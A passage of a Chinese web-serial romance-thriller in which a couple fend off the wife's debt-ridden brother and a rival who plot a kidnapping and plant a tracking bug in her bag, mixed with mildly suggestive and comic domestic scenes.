兰稚青觉得有些莫名的羞耻,她刚想假装无意把铃铛扯下来,沈寂就慢吞吞开口道:“宝宝,如果铃铛掉了,那我就要在你的别的地方夹上铃铛了。” “……” 沈寂这个讨厌鬼! 兰稚青不太喜欢在上面,她自己动了两下就不想动了,干脆直接趴在沈寂的身上装死,小声道:“主人,兔兔累了。” “又累了?” 沈寂把玩着兰稚青衣服上的蝴蝶结,闻言似笑非笑道:“这就是你当女仆的素养吗?” 兰稚青抿了抿唇,不情不愿地又蹭了他两下,可怜巴巴道:“可是我真的累了。” 沙发上没有着力点,她自己动真的好累。 如果放在从前沈寂或许真的会帮忙,但是今天他偏偏不打算这么简单放过兰稚青,他的手指轻轻掐住了兰稚青最脆弱的弱点,像是把玩樱桃一样轻轻扯了扯。 兰稚青身体陡然紧绷了起来,她在沈寂的怀里化成了一滩水,刚要打算开始享受,可是沈寂却又不知道从哪里 拿出一根细细的丝线绑了上去。 他像是拨弄琴弦一样轻轻拨动了两下,兰稚青立马发出了一声短促的尖叫。 沈寂对自己的成果非常满意,他含笑对上了兰稚青的视线,慢条斯理道:“宝宝,你还累吗?” “……不累了。” …… 兰稚青在兑现了兔兔女仆之后决定单方面收回剩下的围裙狗狗和蕾丝小羊,她窝在被子里抱着平板拒绝和沈寂交流,但奈何沈寂非要往她面前凑。 “宝宝,你在画什么呢。” 沈寂没忍住又咬了一口她的脸颊,随口道:“是送给我的吗?” 兰稚青没有躲开,她任由沈寂把自己抱在了怀里,小声道:“不是,是最近接到的稿件,画的是单主的OC。” 沈寂扫了一眼屏幕,上面是一个金色卷发的小女孩,穿着可可爱爱的蛋糕裙,看起来像是中世纪的贵族少女。 他的眉头微不可察地皱了皱,故作随意道:“不是最近要忙论文吗,怎么最近又开始接稿子了。” “因为这个单主说喜欢我的画,她从年初就加我了。” 兰稚青一说到自己喜欢的事物眼睛总是亮晶晶的,沈寂闻言顿了顿,问道:“是男生还是女生啊。” “当然是女孩子啊。” “这么肯定?” 沈寂闻言不置可否,提醒道:“互联网上坏人很多的,有的人故意模糊性别,让以为他是女孩子,其实是个男人。” 兰稚青有些诧异地看了他一眼:“……” 沈寂为什么要突然开始自我介绍。 “当然我这种的属于例外。” 沈寂后知后觉意识到自己顺便把自己给骂了一遍,他随手点开了兰稚青屏幕上单主的头像,放大看清了上面的水印,而后拿出手机搜索了一番。 通过画师的水印找到了画师的账号,在通过评论区找到了这张图片的单主,他把手机递到兰稚青的面前。 “你觉得一个会花大价钱约稿的人会用着别人OC的头像吗?” …… 兰智正在附近足足蹲守了将近一个周的时间,可是连兰稚青和沈寂的影子都没看到,要不是路锡鸣拿了兰稚青在学校填写的资料给他看,他真的会怀疑路锡鸣故意说个假地址骗他。 这几天的时间里他不是没有想过要放弃,可是他早就已经被逼到没有回头路,要是真的什么都不做,那就只有死路一条。 “小正,你到底是怎么回事啊,前两天有催债的电话打到了家里,说你欠了他们的钱。” 兰智刚一大早就打了电话过来询问兰智正的情况,劈头盖脸就是一通指责。 这段时间里兰家真的可是称得上是鸡飞狗跳,兰父因为贪污村子里的公款被带走了,兰母腿骨折了一直待在娘家修养,兰智刚自从被冯丹打了一顿后住了一个多月的院,几乎掏空了他的所有积蓄,好不容易出院回家,没想到反而先被催债的找上来了。 “你一天到晚都在外面干什么,人家现在都找到家里来了,你是打算让爸妈还还是打算让我给你还,我不管你现在在哪,你赶紧回来把事情给我解决了?!” “大哥,我在A市,现在没办法回去了。” “A市?你跑到A市去做什么?” 兰智刚听到兰智正的回答明显有些惊讶,他冷笑道:“你该不会去找兰稚青那个死丫头了吧,你别做梦了,她现在连爸妈都不管了,怎么可能会帮你还钱,你可别忘了,就是她把我们家害成这样的。” “她不想帮我还钱也得还……” 兰智正听到兰智刚的话脸色逐渐变得阴沉了起来,他咬牙道:“哥,我实话告诉你吧,我在外面欠了五六十万的高利贷,要靠自己还肯定还不上了。” “五六十万?!” 电话那头的兰智刚闻言像是被卡住脖子的公鸡,许久才找回自己的声音,厉声道:“你都去干什么了!你是沾毒了还是去赌了?怎么会欠下这么多钱!” “兰智正,你是不是脑残啊,你大爷的欠高利贷还敢留家里的地址,你是打算自己跑路让我们受罪是吧!” “哥,你就别骂我了,当务之急还是把钱还上……” “把钱还上?你说的倒是轻松!五六十万的高利贷,你拿什么还?!” 兰智刚差点没被兰智正给气死,一个兰稚青一个兰智正,他们家里出了这两个活祖宗简直就是上辈子造孽。 “哥,你听我说,我是没有钱,可是兰稚青有钱啊,区区五六十万,对她现在来说那还不是小意思。” “是,兰稚青是有钱,可是她有钱那也得她愿意给你。” 兰智刚冷笑了一声,问道:“你现在过去找她问问,你看她是愿意帮你还钱还是打算直接把你揍一顿,你那个铁哥们儿不是挺有钱的吗,你要真有本事就去找他要钱啊。” “我有一个办法可以让兰稚青把钱吐出来,哥,就看你愿不愿意过来帮我了。” 兰智正没和兰智刚解释太多,他压低了声音,开口道:“事成之后,咱们拿着钱去国外潇洒,怎么着也比现在要强啊。” “……你想怎么样?” 兰智刚本来还在生气,可是听到兰智正的话却当真有些动摇。 兰智正说的确实不错,他们兄弟俩现在一个负债累累,一个一无所有,要是真的能从兰稚青的手里弄到一笔钱,那也的确是一桩美事。 可是兰智正话说的倒是信誓旦旦,可是真的落到实处他也有些拿捏不准,别的先暂且不说,他怎么着也得先见到兰稚青才能继续自己的计划。 山不就我我就山,等又等不到,那他还不如冒险再赌一把,毕竟搏一搏单车变摩托。 兰智正挂断了兰智刚的电话,他犹豫了很久,先是用自己的手机点了份外卖,而后打着要去给女朋友惊喜的名义,花钱又和正在休息的外卖员借了身衣服,准备假装成送外卖的过去探探情况。 不过理想很美好,现实总是会残酷不少。 他鬼鬼祟祟地在附近探头探脑,直接被巡逻的保安逮个正着。 “不好意思,我是来送外卖的。” 兰智正连忙举起了自己手里的外卖袋子,有些讨好地笑了笑,解释道:“我第一次送,还不太熟悉。” “这里外卖不让进,会有物业管家帮忙转交。” 保安上上下下打量了兰智正几眼,视线落在他手上提着的国潮来袭外卖包装上,眼神不由得变得有些微妙。 “你确定你没有送错地方?” “当然没有。” 兰智正有些紧张地咽了咽口水,对上周围几个保安探究性的视线,他本来就底气不足,现在更是又有些心虚,结结巴巴道:“也有可能是我走错了……” 保安眼神锐利,直接就要夺走他手上的外卖,“外卖单据给我看一下。” 兰智正下意识想跑,可是却被旁边的几个保安直接按在了地上,他连声想要求饶,可是对方却已经准备报警。 虽然现在社会安定,可是住在这一片的都是有钱人,保不准就会有歹徒和小偷想要趁机溜进去作案,去年市里才出了一帮亡命之徒伪装成搬家公司潜入高档小区绑架了某位老总的孙子,勒索金额高达一个亿。 有了这种先例,保安自然不敢轻易就这么放兰智正这种可疑人物离开。 警察出警的速度倒是很快,对方和兰智正要相关的身份证明,兰智正这个假外卖员自然什么都拿不出来,他只能连忙开口道:“我姐住在这里,我是来看我姐的。” “那麻烦你给你姐姐打一个电话,或者说一下你姐姐具体的住址。” “我……我打个电话……” 兰智正第一次干这种事情就被抓个正着,他的胆子本来就小,如今更是被吓得六神无主,他哆哆嗦嗦解锁手机,只能给路锡鸣打去了求助电话。 因为警察还在他的旁边,兰智正也不敢多说,只能小声道:“鸣哥,我……我 现在在我姐家附近,她把我拉黑了,我也没办法进别墅区,所以假装成外卖员想要碰碰运气,但是这里的保安报警了……” 嘀—— 兰智正的话还没来得及说完,电话那头的路锡鸣就已经直接毫不留情挂断了电话。 脑残。 他以前只知道兰智正脑残,但是没想过他这么脑残。 兰智正但凡用脚指头想想呢,现在稍微高档一点的小区为了安全都不会让外卖员随便进出,他还想着能打扮成外卖员混进去找兰稚青,真以为这是他们村里想怎么进都怎么进吗? 路锡鸣气得想把手机甩出去,但是看在周围还有其他人的份上硬生生还是忍了下来。 “小鸣,真的不是妈妈说你,你一开始就不应该去学什么心理学,不然也不会沾染上这么多的是非” 路母有些恨铁不成钢地看了一眼路锡鸣,没好气道:“本来我最近和你爸那个老东西离婚就烦得慌,现在还要费钱费力来看顾你,你知不知道我找了多少关系才把你捞出来。” 前两天路锡鸣突然被警方带走调查,说是他涉嫌A大的几宗谋杀案,所以对他进行了传讯。 路母原本还在海岛和小鲜肉度假,得到消息后第一时间赶了回来。 路锡鸣不耐烦道:“不用你捞我我也能出来,这些都是没影儿的事,警察又没有证据。” 路母闻言有些欲言又止,她站在旁边盯着路锡鸣许久,才有些紧张地开口试探道:“锡鸣,那些事真的不是你做的吧?” 也不知道是从什么时候开始,她觉得自己越来越看不透自己的这个儿子了,他十六岁出国整容,家里人都不肯同意,因为在他们看来这根本就没有必要。 她和路父两个人都不是什么美女帅哥,可是只要他们的钱包还是鼓的,这就完全不妨碍他们左拥右抱,她的新男朋友和路锡鸣差不多的岁数,路父更是在外面包养了两三个刚刚二十出头的小姑娘。 按照他们的想法,路锡鸣完全不需要往自己的脸上动刀子,即使他什么都不做,以后也会有美女往他的身上扑。 可是路锡鸣却以死相逼,非要出国整容,他的性格也在此后发生了很大的变化。 在外面的时候他开朗大方,可是在家的时候却阴郁无比,他收集了很多血腥暴力的碟片和书籍,甚至还把家里的地下室改成了一个小型的解剖室,念大学更是一意孤行选了心理学。 明明是从自己的身上掉下来的骨肉,可是路母偶尔却还是会感到毛骨悚然。 “锡鸣,你和妈妈实话实说,警察调查的那些案子,和你到底有没有关系。” 路锡鸣坦然和她直视,平静道:“和我没关系。” “那就好……” 路母闻言终于松了口气,她笑了笑,说道:“那就是你今年犯太岁了,所以才这么倒霉,前两天你爸新店选址的时候找了白龙山道观的道士帮忙看了看风水,听说还挺灵的,过两天我也让他给你看看运势,想个办法冲一冲霉运。” “妈,这些东西都是迷信,没有用的。” 路锡鸣对此不屑一顾,他随手拿起了手机,刚要点进兰稚青的主页,就发现兰稚青突然给他弹出了语音通话。 路锡鸣见状一怔,他犹豫了片刻,还是拿起手机走进了房间,戴上自己早就准备好的变声器,小心翼翼开口打了一声招呼。 电话那头传来了一声轻笑,一道熟悉的男声慢条斯理道:“丑八怪,果然又是你。” 第62章 第62章变成鬼我也要缠着你…… 路锡鸣的大脑一片空白。 他的身份被发现了,而且给他打电话的人是沈寂…… 而且这个贱人竟然又骂他是丑八怪?! 路锡鸣张了张嘴,他下意识想要骂回去,可是意识到自己如果突然开口那就是承认了自己的身份。 “沈寂,你怎么这么没有礼貌,嘲笑别人外貌是不好的。” 电话那头兰稚青对沈寂的话明显颇有微词,她从沈寂的手里抢过了电话,礼貌道:“路锡鸣,不好意思,我老公讲话比较难听,希望你不要介意。” “其实我打电话过来也没有别的意思,就是想问问你他爹的是不是脑子有毛病,没文化可以学,长得丑可以整,你心眼坏是真的没办法,驴一天到晚啥也不干是不是净踢你脑袋了,就算你的脑子和肠子长得差不多,你也不能把肠子里的东西往脑子里装吧……” 兰稚青文明又礼貌的话语还没有说完,路锡鸣忍无可忍挂断了电话。 他盯着自己的手机屏幕,不知道自己到底是哪里出了问题,他觉得自己的大脑都在充血,太阳穴涨得生疼,他彻底忍无可忍,也顾不上自己的妈妈在在外面,直接把手机往墙上砸去。 “我和你说,你做事的时候要仔细一点,燕窝一定要挑得干干净净……” 路母正絮絮叨叨对着保姆交代,突然便听到房间里传来一声巨响和路锡鸣的尖叫怒吼。 她吓了一跳,连忙起身过去疯狂敲门,“小鸣,小鸣你没事吧?你到底怎么了?” 路锡鸣的房门从里面反锁,路母没办法进来,只能冲着保姆大喊,“还愣着干什么,赶紧去拿房间的钥匙啊!” 路锡鸣无视房间外路母的呼喊,他仰躺在地上喘着粗气,整个人的面容都因为愤怒而扭曲变形,看起来格外可怖。 兰稚青…… 兰稚青怎么敢这么对他说话。 明明一年前她还是个胆子小的不得了的小流浪猫,现在难道被人领养之后骨头也跟着硬了起来吗。 从理智上来说,路锡鸣意识到自己该换个目标,兰稚青现在已经远远超出了他的狩猎范围。 可是他不甘心,他实在是不甘心。 这明明就是他一早就瞄准的猎物,为什么会被沈寂先一步抢走。 沈寂……没错,这一切一定都怪沈寂,全都是因为沈寂的存在,兰稚青才会变成这样。 家境富裕,长相优越,有一份稳妥又受人尊敬的工作,姿态永远傲慢矜贵,透过沈寂,路锡鸣仿佛看到了自己曾经的噩梦。 他仿佛又回到了那间教室,里面坐着的每一个人都用鄙夷轻蔑的眼光看着他,阶级永远都是金字塔的形状,那些轻而易举就站在塔尖的人对他肆意讥讽嘲笑,就像是他初中时曾经对班上的贫困生所做的那样。 他不甘心,他真的不甘心…… 路锡鸣双目赤红,他听到路母着急忙慌让保姆过来开门的声音,他慢吞吞从地上起身,冷静打开了房门。 路母猝不及防对上了路锡鸣苍白的脸,她连忙凑过去仔细打量着他,担忧道:“到底是怎么回事啊小鸣,你刚刚怎么了,是不是哪里不舒服?” “妈,我没事,就是最近压力有点大。” 路锡鸣冲着路母露出了一个完美无瑕的笑容,平静道:“你不是说晚上要和我爸一起吃饭吗,时候不早了,你是不是该出发了。” “哦,对了,我差点忘了。” 路母后知后觉想起来这回事,路父最近和一个小网红勾搭得火热,听说对方还是电影学院的学生,如果只是养个小情人路母也就睁一只眼闭一只眼了,可是最近又听说对方肚子里已经有孩子了。 路母和路父确实现在是各玩各的不假,但是他们也都说好了,玩归玩,不能在外面弄出什么私生子来,家里的家产都要留给他们唯一的儿子路锡鸣。 现在那个死老头先违反约定,她怎么着也得去讨个说法。 “妈给你卡上又打了点钱,有压力你就多出去玩一玩,找个女朋友什么的也挺好的。” 路母没有时间和路锡鸣多耗,她匆匆交代了几句就起身离开。 保姆还有些尴尬地站在原地,她扫了一眼路锡鸣房间里的一片狼藉,本来想要进去打扫,但是却被路锡鸣制止。 路锡鸣关上了房门,他从自己的抽屉里找出了自己的备 用手机,冷着一张脸给兰智正打去了电话。 “鸣哥,鸣哥你终于给我打电话了,我……” “少废话,你在哪个派出所,我现在过去找你。” …… 兰稚青骂完路锡鸣还觉得意犹未尽,愤恨道:“这人怎么这么讨厌,简直就是不要脸。” “好了,不要生气了。” 沈寂把兰稚青手里的电话放到一边,抱着她重新回到床上,温声道:“现在已经很晚了,你该睡觉了。” “可是我还不困……” 兰稚青扫了一眼时间,小声道:“而且现在也才不到十点钟啊,哪里晚了。” 沈寂掐了掐她的脸颊,提醒道:“你已经将近二十个小时没有睡觉了,现在必须要休息了。” “可是我真的不困。” 兰稚青想要伸手去拿平板,但是却被沈寂硬生生按了回去,她委屈地在他怀里打滚,撒娇道:“再玩一会儿嘛。” 明明她之前还是很喜欢睡觉的,可是自从上次生病睡了一整天之后,她突然开始变得更加亢奋,睡觉时间大大缩短,身体里好像有无穷无尽的精力。 她主动亲了沈寂一口,算作自己的贿赂。 “不可以,养成规律的作息很重要。” 沈寂的态度突然变得格外强硬,兰稚青觉得有些奇怪,她还想再多说两句,沈寂就突然起身拿了一颗白色的药片和温水递给了她。 “这是什么?” 兰稚青皱了皱眉,诧异道:“我还没到需要吃安眠药的地步吧。” “只是普通的褪黑素而已,吃了会睡得快一些。” 沈寂顿了顿,又补充道:“还有十个小时你又要去写论文了。” 兰稚青:“……” 她接过沈寂手里的药直接吞了下去,有些赌气地钻回被子里,沈寂随手将杯子放到一旁,他从后面抱住了兰稚青,兰稚青本来还想要挣扎,可是困意却像潮水一样朝她涌了过来,她的眼皮变得无比沉重,很快又陷入了梦乡。 又是熟悉的荒郊野岭,熟悉的粗布衣衫,熟悉的书篮。 这种连环梦到底要做到什么时候啊。 兰稚青在梦里忍不住幽幽叹了口气。 她把沉重的书篮扔到一旁,认命朝山下走去,准备继续去找沈寂,可是刚走了两步路就听到了哀乐的声音。 兰稚青觉得奇怪,她主动凑到了旁边看热闹的人群中,对一个看起来很面善的姑娘问道:“敢问这位姑娘,这里是发生什么事了?” “你不知道吗?” 那人闻言有些诧异地看了兰稚青一眼,开口道:“沈员外家的大公子沈寂突然过世了,今天这不正要准备下葬呢。” “什么?!” 兰稚青惊呼了一声,她猛然间睁开了眼睛,喘着气从床上坐了起来。 “乖乖,你怎么了?” 沈寂睡眠很浅,几乎是在兰稚青起身的瞬间他就已经醒来,他抱着兰稚青轻声安慰,柔声道:“是不是又做噩梦了。” 兰稚青的气息渐渐平复,她小声道:“我梦到你死了……” “只是梦而已,我现在不是还好好活着吗。” 沈寂亲了亲兰稚青的脸颊,抱着她又躺回了床上,兰稚青在他的安慰下渐渐平复下来,她闭上了眼睛,刚刚准备继续睡觉,可是却又突然意识到了什么。 “如果我死掉了怎么办。” 她窝在沈寂的怀里,突然觉得有些伤感,犹豫道:“万一我死掉了……” 沈寂摸了摸她的脸颊,温声道:“宝宝,你不会死的。” “那万一你死掉了怎么办?” “我也不会死的,宝宝。” 沈寂低头亲了亲她,补充道:“我们都不会死的。” “可是如果呢,我是说如果死掉了怎么办。” “如果我真的死掉了……” 沈寂突然凑到了她的耳边,压低声音道:“就是变成鬼我也要一直缠着你。” 兰稚青有些怕怕地把自己的脚又缩回了被子里,小声道:“那你还是不要死了。” 第63章 第63章谁是最可爱的宝宝 第二天一大早,睡得迷迷糊糊的兰稚青又被沈寂从床上拖了起来。 “我不想起床,今天就先不去了嘛……” 兰稚青哼唧着抱着枕头不愿意起床,但是硬生生被沈寂抱了起来。 “乖乖,养成早睡早起的习惯很重要的。” “可是我好困……” 兰稚青不情不愿被沈寂拉着洗漱吃早饭,不情不愿坐上了他的副驾驶,整个人哈欠连天,昏昏欲睡。 沈寂侧头看了她一眼,突然开口道:“那我告诉你一个消息提神醒脑一下吧。” 兰稚青上下眼皮都在打架,随口问道:“什么消息啊……” “兰智正前两天装成外卖员在我们家附近鬼鬼祟祟,被保安送去派出所了。” “什么?” 刚刚还昏昏欲睡的兰稚青顿时睁开眼睛,她难以置信道:“他到底想干什么。” “兰智正被路锡鸣拉着赌博,在外面欠了几十万的高利贷,目前他没有任何经济来源,是一路逃债来到A市的,为了挽回损失,他拿着路锡鸣给的钱又赌了几次。” “……他还真是死性不改。” 兰稚青闻言不由得翻了个白眼,有些嫌弃道:“不过他跑到我们家附近鬼鬼祟祟做什么,不会还指望能从我这里拿钱吧。” 沈寂顿了顿,解释道:“根据经验来说,接下来的流程是绑架勒索撕票逃亡的概率比较大。” “……” 原来人在无语的时候真的会笑,兰稚青一时都不知道自己该说什么好。 兰智正是个蠢货,还附带一个狗头军师路锡鸣,虽然有点离谱,但是兰稚青不得不承认,这种事情发生的概率确实很大。 “没关系,兰智正打不过我。” “那也还是要多注意一下,毕竟狗急了都会跳墙。” 兰稚青闻言不置可否,她愤恨咬了一口手上的小饼干,又说道:“怪不得人家都说蛇鼠一窝,兰智正和路锡鸣真是狼狈为奸了。” “对了,你不是说警察现在已经开始调查路锡鸣了吗,怎么现在一点动静都没有。” “证据不足,前两天已经被无罪释放了。” 沈寂顿了顿,又补充道:“不过如果你想的话,他也可以以非自然的方式消失。” “什么是非自然的方式?” 兰稚青有些讶异地看了沈寂一眼,她吓了一跳,连忙道:“你难道要杀人吗,这可不行,违法犯罪的事情我们不能做的,不然我们和路锡鸣那个杀人犯有什么区别……” 沈寂闻言温吞地笑了笑,一脸无辜道:“宝宝,我只是开个玩笑而已。” “……” 你最好真的是这样。 兰稚青有些半信半疑地看了沈寂一眼,不知道是不是因为之前被沈寂吓过太多次的原因,她总觉得沈寂是个什么事都能干出来的人。 沈寂似乎也意识到自己刚才的话有些过头,他主动岔开了话题,开口道:“宝宝,今天你一定要好好写论文,不可以再偷懒了。” 兰稚青一听到“论文”两个字立马垮下了脸,抗拒道:“那你先把我送回我们学校,我去我们学校图书馆写。” 上次她在C大图书馆写论文一个小时写了负两百字的事被人发到了论坛上,她觉得自己的脸都要丢干净了。 “不可以,你必须要和我待在一起,这样比较安全。” 沈寂顿了顿,似乎意识到兰稚青不愿意的原因,他主动补充道:“今天我没有给你带兔兔背包,不会有人认出你的。” 兰稚青扁了扁嘴,欲哭无泪道:“……可是如果别人看到我的脸把我认出来了那不还是很丢人。” “宝宝,一年前在你们学校一个月偷了四十七份外卖的小偷,他的照片在论坛上挂了一个月,你还记得他长什么样子吗?” 兰稚青闻言仔细回想了一下,有些犹豫地摇了摇头,老实道:“我不 记得了。” “那你前天晚上在你们学校上看到的那个作品拿了国际大奖的女生你还记得她长什么样子吗?” 兰稚青闻言又仔细想了想,她面色迟疑,“大概记得吧,好像也不是很清楚……” “宝宝,大家对于素不相识擦肩而过的人一般都不会有太深的印象的。” 沈寂温声道:“所以你根本不用介意的,这么长时间过去了,其他人的记忆肯定也模糊了。” 兰稚青有些怔愣地盯着沈寂的脸,她闻言收回了自己的视线,声音微不可闻道:“……才不是这样。” 这种事情还是要分人的,如果擦肩而过的是沈寂这种漂亮狐狸精,那她怎么着都会多看两眼,到死都记忆犹新。 “好了,不要不高兴了,一上午的时间很快就过去了。” 沈寂帮兰稚青打开车门,顺带帮她整理了一下衣服,叮嘱道:“杯子里的菊花茶记得喝完,我在你包里放了小饼干,有事一定要给我打电话。” “可是图书馆不让吃东西。” “那你就出来吃。” 沈寂顿了顿,又强调道:“但是不准再跑去喂鱼喂猫喂狗了。” “……知道了。” 兰稚青不情不愿地答应了下来,沈寂关上车门,刚刚打算先送她去图书馆,不远处就传来一道熟悉的声音。 “沈老师,早上好啊,你今天上午也有课?” 一个面目和善的中年男子和沈寂打了声招呼,他看到和沈寂牵着手的兰稚青,先是愣了一下,而后笑眯眯了然开口道:“这位是你爱人对吧,你们俩感情可真好。” 兰稚青吓了一跳,她像是一只受惊的小鸟一样下意识往沈寂的身后躲去,可是后知后觉意识到自己这样似乎不太礼貌,又有些尴尬地挪了出来。 “没错,是我太太,今天陪我一起来上班的。” 沈寂笑了笑,侧头对兰稚青介绍道:“宝宝,这是我们学院的赵老师。” “……赵老师你好。” 兰稚青觉得自己好像又回到了过年走亲戚的时候,爸妈在前面谈笑风生,她在旁边一脸茫然地和陌生亲戚打招呼。 对方和沈寂客套了几句,无非就是夸他们般配感情好,说他们简直就是郎才女貌金童玉女天造地设一对壁人。 沈寂最喜欢听这种话,其程度不亚于家长带着孩子出门听到别人围着夸赞“你孩子怎么这么聪明,次次考试得第一,果然是龙生龙凤生凤,还是你们家最会教育孩子”之类的话。 他对赵老师的夸赞照单全收,得意之余甚至还有来有回顺势夸赞了一下对方的学术能力,两人你一言我一句地相互吹捧。 兰稚青实在忍不下去了,只能轻轻扯了扯沈寂的衣袖,小声道:“你们先聊,我自己去图书馆吧。” “哎呀真不好意思,我这人就这毛病,一说话就总忘了时间,你们先忙,我先走了,今早还有组会,我得赶紧过去。” 沈寂还没来得及开口,赵老师就笑眯眯开口告辞,随口又道:“对了,沈老师,你爱人是学什么专业的?要是论文有什么需要帮忙的千万别和我客气哈。” 兰稚青:“……” 不是说没人会记得这件事的吗! 沈寂先把兰稚青送到了图书馆,本来还打算送她进去,但是却被兰稚青果断拒绝,他只能叮嘱了几句,话还没来得及说完,兰稚青就从他的手里抢过自己的包直接转身离开。 说是一起上班,可是他在教室上课,兰稚青在图书馆写论文,除了距离近了点之外还是见不到面。 要不还是辞职吧…… 天天异地恋,这一天到晚过得到底有什么意思。 沈寂的心里不知道第几次冒出了辞职的强烈念头,坐在图书馆里的兰稚青也不知第几次冒出了想要退学的念头。 这个论文她真的一定要写吗? 明明才刚刚打开电脑,可是她已经开始困了。 兰稚青盯着屏幕上的字,觉得自己像是被催眠了一样,她打了个哈欠,强忍着自己的睡意敲着键盘,下定决心自己今天一定要好好做人。 椅子被拉开的声音突然从对面传来,兰稚青随意抬头看了一眼,看清对方的长相顿时怔住。 一头乱七八糟的绿毛,身上穿着非主流的铆钉皮衣。 这不是白龙山那个骗子道士纪云飞吗?! “你……” 兰稚青下意识想要开口,可是后知后觉意识到自己在图书馆,她定了定神,从旁边的笔记本上撕下了一张纸,用笔把自己想说的话写下来递给了对面的纪云飞。 【你怎么在这里?】 纪云飞嘴里还嚼着口香糖,他接过纸条,慢吞吞写下了自己的回复,【我师父最近来A市出差,我陪着一起。】 兰稚青看到纸条不由得皱了皱眉,她有些怀疑地看了纪云飞一眼,回复道:【?那你来C大干什么,你不会又是想来诈骗我的吧。】 【不是诈骗!不是诈骗!不是诈骗!我说了多少遍了这真的不是诈骗!】 纪云飞脸都要气歪了,他飞速在纸上写道:【而且我是真的觉得你老公有问题,他绝对不是普通的人类!】 他的笔尖顿了顿,抬头看了兰稚青一眼,又补充道:【而且我感觉你也被他同化了,你的身上也有一股蛇味,人各有命,还是小心为上。】 兰稚青有些无语,回复道:【……你去写小说吧,指不定赚得更多。】 纪云飞:【你怎么知道我在写小说?】 兰稚青:【你还写小说?你不是道士吗?】 纪云飞:【道士怎么就不能写小说了,你可不要瞧不起道士,这年头猫都能敲键盘打字写文,道士当然可以写。】 兰稚青眉头紧皱,她抬头仔细看了看纪云飞辣眼睛的打扮,越看越觉得他不靠谱,不过和人传纸条聊天确实比写论文有意思多了。 为了逃避论文的折磨,兰稚青顺势又问道:【那你都写什么类型的,写修仙文吗?】 【当然不是,我写的大部分都是悬疑恐怖类型的,你想看吗?】 “……” 兰稚青犹豫了一下,还是点了点头。 纪云飞刚刚想把自己的初稿发给她,但是突然想起来自己被兰稚青拉黑了,他没办法,只能从自己的手机上找出来,然后把手机推到兰稚青的面前。 兰稚青有些兴奋地低头看向纪云飞的屏幕,上面的文案写着: 【张小翠始终坚持实践出真知,就像是现在,她经过了无数次实践,意识到她的新婚丈夫似乎并不会死。 明明车子的刹车被动过手脚,准备的午餐也掺了毒药,她在爬山时把他推落悬崖,趁他熟睡用刀刺进他的心脏。 可是一睁开眼睛,他又毫发无损地站在自己的面前。 张小翠觉得费解不已,甚至开始求助于玄学。 直到某一天,她的丈夫终于神不知鬼不觉地彻底消失。 葬礼之上,即将继承巨额遗产的张小翠泪如雨下,泣不成声。 然而还未等她松一口气,手机上却又收到了新的消息,而发信者,正是她本该已经死去的丈夫……】 兰稚青:“……” 这个故事怎么总感觉该死的眼熟。 兰稚青眉头紧皱,刚刚打算回击纪云飞,一个抱着书路过的寸头男突然脚下一滑,突然间倒在了她的旁边,直接把她放在旁边椅子的包和书都碰到了地上。 哐当—— “不好意思不好意思……” 兰稚青包里的东西撒了一地,寸头男生连忙开口道歉,他蹲下把东西一股脑儿捡起来,不停道歉道:“实在是不好意思,我刚刚没看到路,你看看东西有没有被碰坏的,我可以赔你……” “没事没事,我包里没什么贵重东西的。” 兰稚青摇了摇头示意对方不用在意,她自己整理了一下东西,自顾自重新又打开了电脑,也不管坐在对面的纪云飞,自己一脸认真地写起了论文。 纪云飞见兰稚青没反应,他自讨没趣,只能也跟着拿出电脑继续写自己的恐怖小说。 沈寂在下课的第一时间就赶了过来,看到坐在兰稚青对面的纪云飞,他微不可察地皱了皱眉。 纪云飞没想到沈寂会来的这么快,他神色一僵,对上沈寂平静的视线,只觉得自己如芒在背。 沈寂倒是懒得理会他,他帮兰稚青收拾好了东西,拉着她一起走出图书馆,这才开口问道:“宝宝,那个骗人的道士怎么在这里。” 兰稚青摇了摇头,乖乖回答道:“不知道,我看见他的时候也吓了一跳,他说是陪着他师 父一起出差的。” 沈寂闻言倒是也没有继续多问,他帮兰稚青打开车门,随口问道:“今天论文写得怎么样了,有好好喝水吗?” 兰稚青有些心虚,小声道:“……都还行吧。” 沈寂一看到兰稚青这幅表情就知道她在心虚,他随手打开了兰稚青的包,刚要准备检查一下,他的动作便微微一顿。 “我都说了我喝了,你怎么不相信我……” 兰稚青以为沈寂是发现了什么,她嘴硬道:“杯子里有水是因为我续杯了,我今天真的喝完了。” 沈寂闻言似笑非笑地看了她一眼,“是吗,我们乖乖今天突然这么自觉了。” …… “鸣哥,这是什么东西啊?” “窃听器。” 兰智正和兰智刚两个人有些局促地坐在沙发上,路锡鸣在平板上捣鼓了一下,等待着窃听器和系统的连接,解释道:“我让人在兰稚青的包里放了带有定位系统的窃听器,这样就能知道他们的去向。” 兰智正闻言顿时眼前一亮,“我靠,这是什么黑科技,鸣哥你也太牛了吧!” 兰智刚有些狐疑地看了路锡鸣一眼,他沉默了许久,突然问道:“小路,你为什么这么愿意帮我们?” 两天前路锡鸣把他从F市接了过来,他们兄弟俩的食宿路锡鸣全包了,现在更是想尽办法让他们能把握住兰稚青的去向。 他比兰智正要更加警惕,所以故意开口道:“兰稚青和你也有仇吗?” “她和我没仇,但是我和她老公沈寂有仇。” 路锡鸣自己点了一根烟,淡淡道:“不过我确实挺喜欢你妹妹的,我帮你们也是有代价的,你们到时候帮我把沈寂弄死,这样我也能顺便捞点好处。” 兰智正闻言打了个哆嗦,小声道:“杀人……鸣哥,杀人可是犯法的啊。” “杀人犯法,绑架勒索就不犯法吗?” 路锡鸣似笑非笑地看了他一眼,“我就这么告诉你吧,沈寂必须死,你们绑了兰稚青去勒索他,那就是和他结仇了,之后的路你们想过怎么办吗?” “我们可以去国外啊……” “国外?” 路锡鸣嗤笑了一声,他吐了一个烟圈,鄙夷道:“你真的以为逃到国外就安全了?警察可能确实没办法把你们抓回来,但是只要有钱,那雇几个雇佣兵或者找个杀手让你们神不知鬼不觉地死了也不是什么难事。” “你们好好想想吧,要是不想干现在就可以走,我也不拦着你们。” 兰智正和兰智刚对视了一眼,最终还是兰智刚咬牙拍板。 “行,我们都听你的。” “这就对了。” 路锡鸣满意笑了笑,窃听器正好在此时成功连接,他连忙熄灭了手里的烟,全神贯注听起了对面的声音。 可能是因为窃听器被放在包里的缘故,传过来的声音总是闷闷的,让人有些听不太清。 路锡鸣把声音调到了最大,又外接了音箱,这才终于勉强听得到他们的对话。 【谁是这个世界上最可爱的兔兔呀?】 【啵】 【谁是这个世界上最聪明的乖乖呀?】 【啵】 【当然是我最亲爱的青青宝宝。】 【啵啵】 路锡鸣:“……” 这他大爷的都是什么动静?! 他咬牙切齿听着窃听器那头两个人腻腻歪歪,一点有价值有营养的东西都没有,恨不得现在就把手里的平板给砸出去。 